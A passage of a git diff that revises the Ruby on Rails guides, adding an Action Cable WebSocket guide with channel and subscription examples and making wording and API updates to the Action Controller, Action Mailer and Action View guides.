framework. You have +access to your full domain model written with Active Record or your ORM of +choice. + +What is Pub/Sub +--------------- + +[Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern), or +Publish-Subscribe, refers to a message queue paradigm whereby senders of +information (publishers), send data to an abstract class of recipients +(subscribers), without specifying individual recipients. Action Cable uses this +approach to communicate between the server and many clients. + +## Server-Side Components + +### Connections + +*Connections* form the foundation of the client-server relationship. For every +WebSocket accepted by the server, a connection object is instantiated. This +object becomes the parent of all the *channel subscriptions* that are created +from there on. The connection itself does not deal with any specific application +logic beyond authentication and authorization. The client of a WebSocket +connection is called the connection *consumer*. An individual user will create +one consumer-connection pair per browser tab, window, or device they have open. + +Connections are instances of `ApplicationCable::Connection`. In this class, you +authorize the incoming connection, and proceed to establish it if the user can +be identified. + +#### Connection Setup + +```ruby +# app/channels/application_cable/connection.rb +module ApplicationCable + class Connection < ActionCable::Connection::Base + identified_by :current_user + + def connect + self.current_user = find_verified_user + end + + protected + def find_verified_user + if current_user = User.find_by(id: cookies.signed[:user_id]) + current_user + else + reject_unauthorized_connection + end + end + end +end +``` + +Here `identified_by` is a connection identifier that can be used to find the +specific connection later. Note that anything marked as an identifier will automatically +create a delegate by the same name on any channel instances created off the connection. + +This example relies on the fact that you will already have handled authentication of the user +somewhere else in your application, and that a successful authentication sets a signed +cookie with the user ID. + +The cookie is then automatically sent to the connection instance when a new connection +is attempted, and you use that to set the `current_user`. By identifying the connection +by this same current user, you're also ensuring that you can later retrieve all open +connections by a given user (and potentially disconnect them all if the user is deleted +or deauthorized). + +### Channels + +A *channel* encapsulates a logical unit of work, similar to what a controller does in a +regular MVC setup. By default, Rails creates a parent `ApplicationCable::Channel` class +for encapsulating shared logic between your channels. + +#### Parent Channel Setup + +```ruby +# app/channels/application_cable/channel.rb +module ApplicationCable + class Channel < ActionCable::Channel::Base + end +end +``` + +Then you would create your own channel classes. For example, you could have a +`ChatChannel` and an `AppearanceChannel`: + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel +end + +# app/channels/appearance_channel.rb +class AppearanceChannel < ApplicationCable::Channel +end +``` + +A consumer could then be subscribed to either or both of these channels. + +#### Subscriptions + +Consumers subscribe to channels, acting as *subscribers*. Their connection is +called a *subscription*. Produced messages are then routed to these channel +subscriptions based on an identifier sent by the cable consumer. + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + # Called when the consumer has successfully + # become a subscriber of this channel. + def subscribed + end +end +``` + +## Client-Side Components + +### Connections + +Consumers require an instance of the connection on their side. This can be +established using the following JavaScript, which is generated by default by Rails: + +#### Connect Consumer + +```js +// app/assets/javascripts/cable.js +//= require action_cable +//= require_self +//= require_tree ./channels + +(function() { + this.App || (this.App = {}); + + App.cable = ActionCable.createConsumer(); +}).call(this); +``` + +This will ready a consumer that'll connect against `/cable` on your server by default. +The connection won't be established until you've also specified at least one subscription +you're interested in having. + +#### Subscriber + +A consumer becomes a subscriber by creating a subscription to a given channel: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" } + +# app/assets/javascripts/cable/subscriptions/appearance.coffee +App.cable.subscriptions.create { channel: "AppearanceChannel" } +``` + +While this creates the subscription, the functionality needed to respond to +received data will be described later on. + +A consumer can act as a subscriber to a given channel any number of times. For +example, a consumer could subscribe to multiple chat rooms at the same time: + +```coffeescript +App.cable.subscriptions.create { channel: "ChatChannel", room: "1st Room" } +App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" } +``` + +## Client-Server Interactions + +### Streams + +*Streams* provide the mechanism by which channels route published content +(broadcasts) to their subscribers. + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end +end +``` + +If you have a stream that is related to a model, then the broadcasting used +can be generated from the model and channel. The following example would +subscribe to a broadcasting like `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE` + +```ruby +class CommentsChannel < ApplicationCable::Channel + def subscribed + post = Post.find(params[:id]) + stream_for post + end +end +``` + +You can then broadcast to this channel like this: + +```ruby +CommentsChannel.broadcast_to(@post, @comment) +``` + +### Broadcasting + +A *broadcasting* is a pub/sub link where anything transmitted by a publisher +is routed directly to the channel subscribers who are streaming that named +broadcasting. Each channel can be streaming zero or more broadcastings. + +Broadcastings are purely an online queue and time dependent. If a consumer is +not streaming (subscribed to a given channel), they'll not get the broadcast +should they connect later. + +Broadcasts are called elsewhere in your Rails application: + +```ruby +WebNotificationsChannel.broadcast_to( + current_user, + title: 'New things!', + body: 'All the news fit to print' +) +``` + +The `WebNotificationsChannel.broadcast_to` call places a message in the current +subscription adapter (Redis by default)'s pubsub queue under a separate +broadcasting name for each user. For a user with an ID of 1, the broadcasting +name would be `web_notifications_1`. + +The channel has been instructed to stream everything that arrives at +`web_notifications_1` directly to the client by invoking the `received` +callback. + +### Subscriptions + +When a consumer is subscribed to a channel, they act as a subscriber. This +connection is called a subscription. Incoming messages are then routed to +these channel subscriptions based on an identifier sent by the cable consumer. + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +# Assumes you've already requested the right to send web notifications +App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + @appendLine(data) + + appendLine: (data) -> + html = @createLine(data) + $("[data-chat-room='Best Room']").append(html) + + createLine: (data) -> + """ + <article class="chat-line"> + <span class="speaker">#{data["sent_by"]}</span> + <span class="body">#{data["body"]}</span> + </article> + """ +``` + +### Passing Parameters to Channels + +You can pass parameters from the client side to the server side when creating a +subscription. For example: + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end +end +``` + +An object passed as the first argument to `subscriptions.create` becomes the +params hash in the cable channel. The keyword `channel` is required: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + @appendLine(data) + + appendLine: (data) -> + html = @createLine(data) + $("[data-chat-room='Best Room']").append(html) + + createLine: (data) -> + """ + <article class="chat-line"> + <span class="speaker">#{data["sent_by"]}</span> + <span class="body">#{data["body"]}</span> + </article> + """ +``` + +```ruby +# Somewhere in your app this is called, perhaps +# from a NewCommentJob. +ChatChannel.broadcast_to( + "chat_#{room}", + sent_by: 'Paul', + body: 'This is a cool chat app.' +) +``` + +### Rebroadcasting a Message + +A common use case is to *rebroadcast* a message sent by one client to any +other connected clients. + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + def subscribed + stream_from "chat_#{params[:room]}" + end + + def receive(data) + ChatChannel.broadcast_to("chat_#{params[:room]}", data) + end +end +``` + +```coffeescript +# app/assets/javascripts/cable/subscriptions/chat.coffee +App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }, + received: (data) -> + # data => { sent_by: "Paul", body: "This is a cool chat app." } + +App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." }) +``` + +The rebroadcast will be received by all connected clients, _including_ the +client that sent the message. Note that params are the same as they were when +you subscribed to the channel. + +## Full-Stack Examples + +The following setup steps are common to both examples: + + 1. [Setup your connection](#connection-setup). + 2. [Setup your parent channel](#parent-channel-setup). + 3. [Connect your consumer](#connect-consumer). + +### Example 1: User Appearances + +Here's a simple example of a channel that tracks whether a user is online or not +and what page they're on. (This is useful for creating presence features like showing +a green dot next to a user name if they're online). + +Create the server-side appearance channel: + +```ruby +# app/channels/appearance_channel.rb +class AppearanceChannel < ApplicationCable::Channel + def subscribed + current_user.appear + end + + def unsubscribed + current_user.disappear + end + + def appear(data) + current_user.appear(on: data['appearing_on']) + end + + def away + current_user.away + end +end +``` + +When a subscription is initiated the `subscribed` callback gets fired and we +take that opportunity to say "the current user has indeed appeared". That +appear/disappear API could be backed by Redis, a database, or whatever else. + +Create the client-side appearance channel subscription: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/appearance.coffee +App.cable.subscriptions.create "AppearanceChannel", + # Called when the subscription is ready for use on the server. + connected: -> + @install() + @appear() + + # Called when the WebSocket connection is closed. + disconnected: -> + @uninstall() + + # Called when the subscription is rejected by the server. + rejected: -> + @uninstall() + + appear: -> + # Calls `AppearanceChannel#appear(data)` on the server. + @perform("appear", appearing_on: $("main").data("appearing-on")) + + away: -> + # Calls `AppearanceChannel#away` on the server. + @perform("away") + + + buttonSelector = "[data-behavior~=appear_away]" + + install: -> + $(document).on "page:change.appearance", => + @appear() + + $(document).on "click.appearance", buttonSelector, => + @away() + false + + $(buttonSelector).show() + + uninstall: -> + $(document).off(".appearance") + $(buttonSelector).hide() +``` + +##### Client-Server Interaction + +1. **Client** connects to the **Server** via `App.cable = +ActionCable.createConsumer("ws://cable.example.com")`. (`cable.js`). The +**Server** identifies this connection by `current_user`. + +2. **Client** subscribes to the appearance channel via +`App.cable.subscriptions.create(channel: "AppearanceChannel")`. (`appearance.coffee`) + +3. **Server** recognizes a new subscription has been initiated for the +appearance channel and runs its `subscribed` callback, calling the `appear` +method on `current_user`. (`appearance_channel.rb`) + +4. **Client** recognizes that a subscription has been established and calls +`connected` (`appearance.coffee`) which in turn calls `@install` and `@appear`. +`@appear` calls `AppearanceChannel#appear(data)` on the server, and supplies a +data hash of `{ appearing_on: $("main").data("appearing-on") }`. This is +possible because the server-side channel instance automatically exposes all +public methods declared on the class (minus the callbacks), so that these can be +reached as remote procedure calls via a subscription's `perform` method. + +5. **Server** receives the request for the `appear` action on the appearance +channel for the connection identified by `current_user` +(`appearance_channel.rb`). **Server** retrieves the data with the +`:appearing_on` key from the data hash and sets it as the value for the `:on` +key being passed to `current_user.appear`. + +### Example 2: Receiving New Web Notifications + +The appearance example was all about exposing server functionality to +client-side invocation over the WebSocket connection. But the great thing +about WebSockets is that it's a two-way street. So now let's show an example +where the server invokes an action on the client. + +This is a web notification channel that allows you to trigger client-side +web notifications when you broadcast to the right streams: + +Create the server-side web notifications channel: + +```ruby +# app/channels/web_notifications_channel.rb +class WebNotificationsChannel < ApplicationCable::Channel + def subscribed + stream_for current_user + end +end +``` + +Create the client-side web notifications channel subscription: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/web_notifications.coffee +# Client-side which assumes you've already requested +# the right to send web notifications. +App.cable.subscriptions.create "WebNotificationsChannel", + received: (data) -> + new Notification data["title"], body: data["body"] +``` + +Broadcast content to a web notification channel instance from elsewhere in your +application: + +```ruby +# Somewhere in your app this is called, perhaps from a NewCommentJob +WebNotificationsChannel.broadcast_to( + current_user, + title: 'New things!', + body: 'All the news fit to print' +) +``` + +The `WebNotificationsChannel.broadcast_to` call places a message in the current +subscription adapter's pubsub queue under a separate broadcasting name for each +user. For a user with an ID of 1, the broadcasting name would be +"web_notifications_1". + +The channel has been instructed to stream everything that arrives at +"web_notifications_1" directly to the client by invoking the `received` +callback. The data passed as argument is the hash sent as the second parameter +to the server-side broadcast call, JSON encoded for the trip across the wire, +and unpacked for the data argument arriving to `received`. + +### More Complete Examples + +See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples) +repository for a full example of how to setup Action Cable in a Rails app and adding channels. + +## Configuration + +Action Cable has two required configurations: a subscription adapter and allowed request origins. + +### Subscription Adapter + +By default, Action Cable looks for a configuration file in `config/cable.yml`. +The file must specify an adapter and a URL for each Rails environment. See the +[Dependencies](#dependencies) section for additional information on adapters. + +```yaml +development: + adapter: async + +test: + adapter: async + +production: + adapter: redis + url: redis://10.10.3.153:6381 +``` + +### Allowed Request Origins + +Action Cable will only accept requests from specified origins, which are +passed to the server config as an array. The origins can be instances of +strings or regular expressions, against which a check for match will be performed. + +```ruby +config.action_cable.allowed_request_origins = ['http://rubyonrails.com', %r{http://ruby.*}] +``` + +To disable and allow requests from any origin: + +```ruby +config.action_cable.disable_request_forgery_protection = true +``` + +By default, Action Cable allows all requests from localhost:3000 when running +in the development environment. + +### Consumer Configuration + +To configure the URL, add a call to `action_cable_meta_tag` in your HTML layout +HEAD. This uses a URL or path typically set via `config.action_cable.url` in the +environment configuration files. + +### Other Configurations + +The other common option to configure is the log tags applied to the +per-connection logger. Here's close to what we're using in Basecamp: + +```ruby +config.action_cable.log_tags = [ + -> request { request.env['bc.account_id'] || "no-account" }, + :action_cable, + -> request { request.uuid } +] +``` + +For a full list of all configuration options, see the +`ActionCable::Server::Configuration` class. + +Also note that your server must provide at least the same number of database +connections as you have workers. The default worker pool size is set to 100, so +that means you have to make at least that available. You can change that in +`config/database.yml` through the `pool` attribute. + +## Running Standalone Cable Servers + +### In App + +Action Cable can run alongside your Rails application. For example, to +listen for WebSocket requests on `/websocket`, specify that path to +`config.action_cable.mount_path`: + +```ruby +# config/application.rb +class Application < Rails::Application + config.action_cable.mount_path = '/websocket' +end +``` + +You can use `App.cable = ActionCable.createConsumer()` to connect to the cable +server if `action_cable_meta_tag` is invoked in the layout. A custom path is +specified as first argument to `createConsumer` (e.g. `App.cable = +ActionCable.createConsumer("/websocket")`). + +For every instance of your server you create and for every worker your server +spawns, you will also have a new instance of Action Cable, but the use of Redis +keeps messages synced across connections. + +### Standalone + +The cable servers can be separated from your normal application server. It's +still a Rack application, but it is its own Rack application. The recommended +basic setup is as follows: + +```ruby +# cable/config.ru +require_relative 'config/environment' +Rails.application.eager_load! + +run ActionCable.server +``` + +Then you start the server using a binstub in `bin/cable` ala: + +``` +#!/bin/bash +bundle exec puma -p 28080 cable/config.ru +``` + +The above will start a cable server on port 28080. + +### Notes + +The WebSocket server doesn't have access to the session, but it has +access to the cookies. This can be used when you need to handle +authentication. You can see one way of doing that with Devise in this [article](http://www.rubytutorial.io/actioncable-devise-authentication). + +## Dependencies + +Action Cable provides a subscription adapter interface to process its +pubsub internals. By default, asynchronous, inline, PostgreSQL, evented +Redis, and non-evented Redis adapters are included. The default adapter +in new Rails applications is the asynchronous (`async`) adapter. + +The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby), +[nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby). + +## Deployment + +Action Cable is powered by a combination of WebSockets and threads. Both the +framework plumbing and user-specified channel work are handled internally by +utilizing Ruby's native thread support. This means you can use all your regular +Rails models with no problem, as long as you haven't committed any thread-safety sins. + +The Action Cable server implements the Rack socket hijacking API, +thereby allowing the use of a multithreaded pattern for managing connections +internally, irrespective of whether the application server is multi-threaded or not. + +Accordingly, Action Cable works with popular servers like Unicorn, Puma, and +Passenger. diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md index 8c1551f4a1..848c9caa59 100644 --- a/guides/source/action_controller_overview.md +++ b/guides/source/action_controller_overview.md @@ -185,7 +185,9 @@ end These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed to `url_for` calls. -If you define `default_url_options` in `ApplicationController`, as in the example above, it will be used for all URL generation. The method can also be defined in a specific controller, in which case it only affects URLs generated there. +If you define `default_url_options` in `ApplicationController`, as in the example above, these defaults will be used for all URL generation. The method can also be defined in a specific controller, in which case it only affects URLs generated there. + +In a given request, the method is not actually called for every single generated URL; for performance reasons, the returned hash is cached, there is at most one invocation per request. ### Strong Parameters @@ -392,7 +394,7 @@ Rails sets up (for the CookieStore) a secret key used for signing the session da # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. -# You can use `rake secret` to generate a secure secret key. +# You can use `rails secret` to generate a secure secret key. # Make sure the secrets in this file are kept private # if you're sharing your code publicly. @@ -667,11 +669,11 @@ You may notice in the above code that we're using `render xml: @users`, not `ren Filters ------- -Filters are methods that are run before, after or "around" a controller action. +Filters are methods that are run "before", "after" or "around" a controller action. Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application. -"Before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way: +"before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way: ```ruby class ApplicationController < ActionController::Base @@ -698,15 +700,15 @@ class LoginsController < ApplicationController end ``` -Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. +Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to skip this filter only for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. ### After Filters and Around Filters In addition to "before" filters, you can also run filters after an action has been executed, or both before and after. -"After" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running. +"after" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running. -"Around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work. +"around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work. For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction: @@ -736,7 +738,7 @@ You can choose not to yield and build the response yourself, in which case the a While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same thing. -The first is to use a block directly with the *\_action methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block: +The first is to use a block directly with the *\_action methods. The block receives the controller as an argument. The `require_login` filter from above could be rewritten to use a block: ```ruby class ApplicationController < ActionController::Base @@ -749,7 +751,7 @@ class ApplicationController < ActionController::Base end ``` -Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. +Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter does not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: @@ -808,7 +810,7 @@ The [Security Guide](security.html) has more about this and a lot of other secur The Request and Response Objects -------------------------------- -In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `AbstractRequest` and the `response` method returns a response object representing what is going to be sent back to the client. +In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `ActionDispatch::Request` and the `response` method returns a response object representing what is going to be sent back to the client. ### The `request` Object @@ -993,10 +995,6 @@ you would like in a response object. The `ActionController::Live` module allows you to create a persistent connection with a browser. Using this module, you will be able to send arbitrary data to the browser at specific points in time. -NOTE: The default Rails server (WEBrick) is a buffering web server and does not -support streaming. In order to use this feature, you'll need to use a non buffering -server like [Puma](http://puma.io), [Rainbows](http://rainbows.bogomips.org) -or [Passenger](https://www.phusionpassenger.com). #### Incorporating Live Streaming @@ -1027,7 +1025,7 @@ There are a couple of things to notice in the above example. We need to make sure to close the response stream. Forgetting to close the stream will leave the socket open forever. We also have to set the content type to `text/event-stream` before we write to the response stream. This is because headers cannot be written -after the response has been committed (when `response.committed` returns a truthy +after the response has been committed (when `response.committed?` returns a truthy value), which occurs when you `write` or `commit` the response stream. #### Example Usage @@ -1090,6 +1088,8 @@ You can filter out sensitive request parameters from your log files by appending config.filter_parameters << :password ``` +NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`. + ### Redirects Filtering Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to. @@ -1112,11 +1112,11 @@ Rescue Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception. -Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: +Rails default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: ### The Default 500 and 404 Templates -By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML. +By default a production application will render either a 404 or a 500 error message, in the development environment all unhandled exceptions are raised. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them. ### `rescue_from` @@ -1148,7 +1148,7 @@ class ApplicationController < ActionController::Base def user_not_authorized flash[:error] = "You don't have access to this section." - redirect_to :back + redirect_back(fallback_location: root_path) end end @@ -1172,7 +1172,11 @@ end WARNING: You shouldn't do `rescue_from Exception` or `rescue_from StandardError` unless you have a particular reason as it will cause serious side-effects (e.g. you won't be able to see exception details and tracebacks during development). -NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information. +NOTE: When running in the production environment, all +`ActiveRecord::RecordNotFound` errors render the 404 error page. Unless you need +a custom behavior you don't need to handle this. + +NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. Force HTTPS protocol -------------------- diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md index 73b240ff2c..5346b7c32b 100644 --- a/guides/source/action_mailer_basics.md +++ b/guides/source/action_mailer_basics.md @@ -170,7 +170,7 @@ First, let's create a simple `User` scaffold: ```bash $ bin/rails generate scaffold user name email login -$ bin/rake db:migrate +$ bin/rails db:migrate ``` Now that we have a user model to play with, we will just edit the @@ -204,10 +204,14 @@ class UsersController < ApplicationController end ``` -NOTE: Active Job's default behavior is to execute jobs ':inline'. So, you can use -`deliver_later` now to send emails, and when you later decide to start sending -them from a background job, you'll only need to set up Active Job to use a queueing -backend (Sidekiq, Resque, etc). +NOTE: Active Job's default behavior is to execute jobs via the `:async` adapter. So, you can use +`deliver_later` now to send emails asynchronously. +Active Job's default adapter runs jobs with an in-process thread pool. +It's well-suited for the development/test environments, since it doesn't require +any external infrastructure, but it's a poor fit for production since it drops +pending jobs on restart. +If you need a persistent backend, you will need to use an Active Job adapter +that has a persistent backend (Sidekiq, Resque, etc). If you want to send emails right away (from a cronjob for example) just call `deliver_now`: @@ -222,7 +226,7 @@ class SendWeeklySummary end ``` -The method `welcome_email` returns a `ActionMailer::MessageDelivery` object which +The method `welcome_email` returns an `ActionMailer::MessageDelivery` object which can then just be told `deliver_now` or `deliver_later` to send itself out. The `ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If you want to inspect, alter or do anything else with the `Mail::Message` object you can @@ -278,7 +282,7 @@ different, encode your content and pass in the encoded content and encoding in a ```ruby encoded_content = SpecialEncode(File.read('/path/to/filename.jpg')) attachments['filename.jpg'] = { - mime_type: 'application/x-gzip', + mime_type: 'application/gzip', encoding: 'SpecialEncoding', content: encoded_content } @@ -326,7 +330,7 @@ key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. ```ruby -class AdminMailer < ActionMailer::Base +class AdminMailer < ApplicationMailer default to: Proc.new { Admin.pluck(:email) }, from: 'notification@example.com' @@ -344,7 +348,7 @@ The same format can be used to set carbon copy (Cc:) and blind carbon copy Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the -email address in the format `"Full Name <email>"`. +email address in the format `"Full Name" <email>`. ```ruby def welcome_email(user) @@ -407,6 +411,22 @@ use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as `:text`, `:inline` etc. +#### Caching mailer view + +You can do cache in mailer views like in application views using `cache` method. + +``` +<% cache do %> + <%= @company.name %> +<% end %> +``` + +And in order to use this feature, you need to configure your application with this: + +``` + config.action_mailer.perform_caching = true +``` + ### Action Mailer Layouts Just like controller views, you can also have mailer layouts. The layout name @@ -503,7 +523,7 @@ You will need to use: By using the full URL, your links will now work in your emails. -#### generating URLs with `url_for` +#### Generating URLs with `url_for` `url_for` generate full URL by default in templates. @@ -517,7 +537,7 @@ If you did not configure the `:host` option globally make sure to pass it to action: 'greeting') %> ``` -#### generating URLs with named routes +#### Generating URLs with Named Routes Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, you should always use the "_url" variant of named route @@ -530,6 +550,27 @@ url helper. <%= user_url(@user, host: 'example.com') %> ``` +NOTE: non-`GET` links require [jQuery UJS](https://github.com/rails/jquery-ujs) +and won't work in mailer templates. They will result in normal `GET` requests. + +### Adding images in Action Mailer Views + +Unlike controllers, the mailer instance doesn't have any context about the +incoming request so you'll need to provide the `:asset_host` parameter yourself. + +As the `:asset_host` usually is consistent across the application you can +configure it globally in config/application.rb: + +```ruby +config.action_mailer.asset_host = 'http://example.com' +``` + +Now you can display an image inside your email. + +```ruby +<%= image_tag 'image.jpg' %> +``` + ### Sending Multipart Emails Action Mailer will automatically send multipart emails if you have different @@ -693,7 +734,7 @@ files (environment.rb, production.rb, etc...) | Configuration | Description | |---------------|-------------| |`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.| -|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>| +|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain` (will send the password in the clear), `:login` (will send password Base64 encoded) or `:cram_md5` (combines a Challenge/Response mechanism to exchange information and a cryptographic Message Digest 5 algorithm to hash important information)</li><li>`:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. Defaults to `true`.</li><li>`:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name of an OpenSSL verify constant ('none', 'peer', 'client_once', 'fail_if_no_peer_cert') or directly the constant (`OpenSSL::SSL::VERIFY_NONE`, `OpenSSL::SSL::VERIFY_PEER`, ...).</li></ul>| |`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>| |`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.| |`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.| @@ -738,6 +779,9 @@ config.action_mailer.smtp_settings = { authentication: 'plain', enable_starttls_auto: true } ``` +Note: As of July 15, 2014, Google increased [its security measures](https://support.google.com/accounts/answer/6010255) and now blocks attempts from apps it deems less secure. +You can change your gmail settings [here](https://www.google.com/settings/security/lesssecureapps) to allow the attempts or +use another ESP to send email by replacing 'smtp.gmail.com' above with the address of your provider. Mailer Testing -------------- diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md index 8f6676dc65..0e6bb76101 100644 --- a/guides/source/action_view_overview.md +++ b/guides/source/action_view_overview.md @@ -15,7 +15,7 @@ After reading this guide, you will know: What is Action View? -------------------- -Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response. +In Rails, web requests are handled by [Action Controller](action_controller_overview.html) and Action View. Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response. Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves. @@ -147,6 +147,39 @@ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do end ``` +#### Jbuilder +[Jbuilder](https://github.com/rails/jbuilder) is a gem that's +maintained by the Rails team and included in 